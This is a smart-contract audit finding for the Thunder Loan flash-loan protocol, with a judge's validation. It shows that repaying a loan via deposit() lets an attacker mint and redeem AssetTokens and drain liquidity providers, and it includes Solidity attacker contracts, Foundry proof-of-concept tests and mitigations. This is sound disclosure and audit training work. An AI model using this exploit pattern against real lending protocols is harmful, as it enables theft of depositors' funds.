Thunder Loan

AI First Flight #7
Beginner FriendlyFoundryDeFiOracle
EXP
View results
Submission Details
Severity: high
Valid

Flash Loan Repayment Can Be Bypassed via `deposit()`, Allowing Theft of Protocol Funds

Root + Impact

According to the protocol specification, "A flash loan is a loan that exists for exactly 1 transaction. A user can borrow any amount of assets from the protocol as long as they pay it back in the same transaction. If they don't pay it back, the transaction reverts and the loan is cancelled."

The flash loan repayment check only verifies the token balance of the AssetToken contract without distinguishing between legitimate repayment and deposits. An attacker can bypass true repayment by depositing the borrowed funds during the flash loan, receive AssetTokens in return, and later redeem them to steal funds from liquidity providers.

Description

The flashloan() function verifies repayment by checking if the ending balance is sufficient:

function flashloan(
address receiverAddress,
IERC20 token,
uint256 amount,
bytes calldata params
) external {
..........
// Callback to borrower
receiverAddress.functionCall(
abi.encodeWithSignature(
"executeOperation(address,uint256,uint256,address,bytes)",
address(token),
amount,
fee,
msg.sender,
params
)
);
uint256 endingBalance = token.balanceOf(address(assetToken));
//@audit-issue: Only checks balance, doesn't verify HOW tokens were returned
if (endingBalance < startingBalance + fee) {
revert ThunderLoan__NotPaidBack(
startingBalance + fee,
endingBalance
);
}
s_currentlyFlashLoaning[token] = false;
}

However, the deposit() function can also be called during a flash loan:

The Attack Flow:

  1. Attacker takes a flash loan for X tokens

  2. In executeOperation(), instead of calling repay(), attacker calls deposit(X + fee)

  3. Tokens are transferred to AssetToken contract (balance increases by X + fee)

  4. Attacker receives AssetTokens representing their deposit

  5. Flash loan check passes: endingBalance (starting + X + fee) >= startingBalance + fee

  6. Flash loan completes successfully

  7. Attacker redeems their AssetTokens to get back X + fee tokens

Risk

Likelihood: High

  • Attack is straightforward to execute

  • Requires no special conditions or timing

Impact: High

  • Direct theft of funds: Attacker steals from liquidity providers

  • Protocol insolvency: Repeated attacks can drain all protocol funds

  • Violation of core invariant: Flash loans can be taken without true repayment

Proof of Concept

The test testUseFlashLoanFundsForDepositWithoutRepaying_Passes() demonstrates this vulnerability:

function testUseFlashLoanFundsForDepositWithoutRepaying_Passes()
public
setAllowedToken
{
// Setup: Liquidity provider deposits funds
tokenA.mint(liquidityProvider, 2 * AMOUNT);
vm.startPrank(liquidityProvider);
tokenA.approve(address(thunderLoan), 2 * AMOUNT);
thunderLoan.deposit(tokenA, 2 * AMOUNT);
vm.stopPrank();
AssetToken assetToken = thunderLoan.getAssetFromToken(tokenA);
uint256 amountToBorrow = AMOUNT;
uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA, amountToBorrow);
// Attacker only needs enough tokens to pay the fee
FlashLoanAttacker attacker = new FlashLoanAttacker(thunderLoan);
tokenA.mint(address(attacker), calculatedFee);
// Attacker executes flash loan attack
attacker.requestFlashLoan(tokenA, amountToBorrow);
// Attacker redeems AssetTokens received from deposit
vm.prank(address(attacker));
thunderLoan.redeem(tokenA, type(uint256).max);
// ✅ TEST PASSES: Attacker has more tokens than they started with
assertGt(tokenA.balanceOf(address(attacker)), calculatedFee);
}
contract FlashLoanAttacker is IFlashLoanReceiver {
ThunderLoan internal thunderLoan;
constructor(ThunderLoan _thunderLoan) {
thunderLoan = _thunderLoan;
}
function requestFlashLoan(IERC20 token, uint256 amount) external {
thunderLoan.flashloan(address(this), token, amount, hex"");
}
function executeOperation(
address token,
uint256 amount,
uint256 fee,
address initiator,
bytes calldata params
) external returns (bool) {
// Instead of repaying, deposit the borrowed funds + fee
IERC20(token).approve(address(thunderLoan), amount + fee);
thunderLoan.deposit(IERC20(token), amount + fee);
// Receive AssetTokens representing the deposit
// Flash loan check passes because balance increased
return true;
}
}

Recommended Mitigation

Add a check to the deposit() function to prevent deposits during flash loan execution:

function deposit(
IERC20 token,
uint256 amount
) external revertIfZero(amount) revertIfNotAllowedToken(token) {
+ // Prevent deposits during flash loan execution
+ if (s_currentlyFlashLoaning[token]) {
+ revert ThunderLoan__CannotDepositDuringFlashLoan();
+ }
+
AssetToken assetToken = s_tokenToAssetToken[token];
uint256 exchangeRate = assetToken.getExchangeRate();
uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) /
exchangeRate;
emit Deposit(msg.sender, token, amount);
assetToken.mint(msg.sender, mintAmount);
uint256 calculatedFee = getCalculatedFee(token, amount);
assetToken.updateExchangeRate(calculatedFee);
token.safeTransferFrom(msg.sender, address(assetToken), amount);
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 1 hour ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-04] All the funds can be stolen if the flash loan is returned using deposit()

## Description An attacker can acquire a flash loan and deposit funds directly into the contract using the **`deposit()`**, enabling stealing all the funds. ## Vulnerability Details The **`flashloan()`** performs a crucial balance check to ensure that the ending balance, after the flash loan, exceeds the initial balance, accounting for any borrower fees. This verification is achieved by comparing **`endingBalance`** with **`startingBalance + fee`**. However, a vulnerability emerges when calculating endingBalance using **`token.balanceOf(address(assetToken))`**. Exploiting this vulnerability, an attacker can return the flash loan using the **`deposit()`** instead of **`repay()`**. This action allows the attacker to mint **`AssetToken`** and subsequently redeem it using **`redeem()`**. What makes this possible is the apparent increase in the Asset contract's balance, even though it resulted from the use of the incorrect function. Consequently, the flash loan doesn't trigger a revert. ## POC To execute the test successfully, please complete the following steps: 1. Place the **`attack.sol`** file within the mocks folder. 1. Import the contract in **`ThunderLoanTest.t.sol`**. 1. Add **`testattack()`** function in **`ThunderLoanTest.t.sol`**. 1. Change the **`setUp()`** function in **`ThunderLoanTest.t.sol`**. ```Solidity import { Attack } from "../mocks/attack.sol"; ``` ```Solidity function testattack() public setAllowedToken hasDeposits { uint256 amountToBorrow = AMOUNT * 10; vm.startPrank(user); tokenA.mint(address(attack), AMOUNT); thunderLoan.flashloan(address(attack), tokenA, amountToBorrow, ""); attack.sendAssetToken(address(thunderLoan.getAssetFromToken(tokenA))); thunderLoan.redeem(tokenA, type(uint256).max); vm.stopPrank(); assertLt(tokenA.balanceOf(address(thunderLoan.getAssetFromToken(tokenA))), DEPOSIT_AMOUNT); } ``` ```Solidity function setUp() public override { super.setUp(); vm.prank(user); mockFlashLoanReceiver = new MockFlashLoanReceiver(address(thunderLoan)); vm.prank(user); attack = new Attack(address(thunderLoan)); } ``` attack.sol ```Solidity // SPDX-License-Identifier: MIT pragma solidity 0.8.20; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import { IFlashLoanReceiver } from "../../src/interfaces/IFlashLoanReceiver.sol"; interface IThunderLoan { function repay(address token, uint256 amount) external; function deposit(IERC20 token, uint256 amount) external; function getAssetFromToken(IERC20 token) external; } contract Attack { error MockFlashLoanReceiver__onlyOwner(); error MockFlashLoanReceiver__onlyThunderLoan(); using SafeERC20 for IERC20; address s_owner; address s_thunderLoan; uint256 s_balanceDuringFlashLoan; uint256 s_balanceAfterFlashLoan; constructor(address thunderLoan) { s_owner = msg.sender; s_thunderLoan = thunderLoan; s_balanceDuringFlashLoan = 0; } function executeOperation( address token, uint256 amount, uint256 fee, address initiator, bytes calldata /* params */ ) external returns (bool) { s_balanceDuringFlashLoan = IERC20(token).balanceOf(address(this)); if (initiator != s_owner) { revert MockFlashLoanReceiver__onlyOwner(); } if (msg.sender != s_thunderLoan) { revert MockFlashLoanReceiver__onlyThunderLoan(); } IERC20(token).approve(s_thunderLoan, amount + fee); IThunderLoan(s_thunderLoan).deposit(IERC20(token), amount + fee); s_balanceAfterFlashLoan = IERC20(token).balanceOf(address(this)); return true; } function getbalanceDuring() external view returns (uint256) { return s_balanceDuringFlashLoan; } function getBalanceAfter() external view returns (uint256) { return s_balanceAfterFlashLoan; } function sendAssetToken(address assetToken) public { IERC20(assetToken).transfer(msg.sender, IERC20(assetToken).balanceOf(address(this))); } } ``` Notice that the **`assetLt()`** checks whether the balance of the AssetToken contract is less than the **`DEPOSIT_AMOUNT`**, which represents the initial balance. The contract balance should never decrease after a flash loan, it should always be higher. ## Impact All the funds of the AssetContract can be stolen. ## Recommendations Add a check in **`deposit()`** to make it impossible to use it in the same block of the flash loan. For example registring the block.number in a variable in **`flashloan()`** and checking it in **`deposit()`**.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!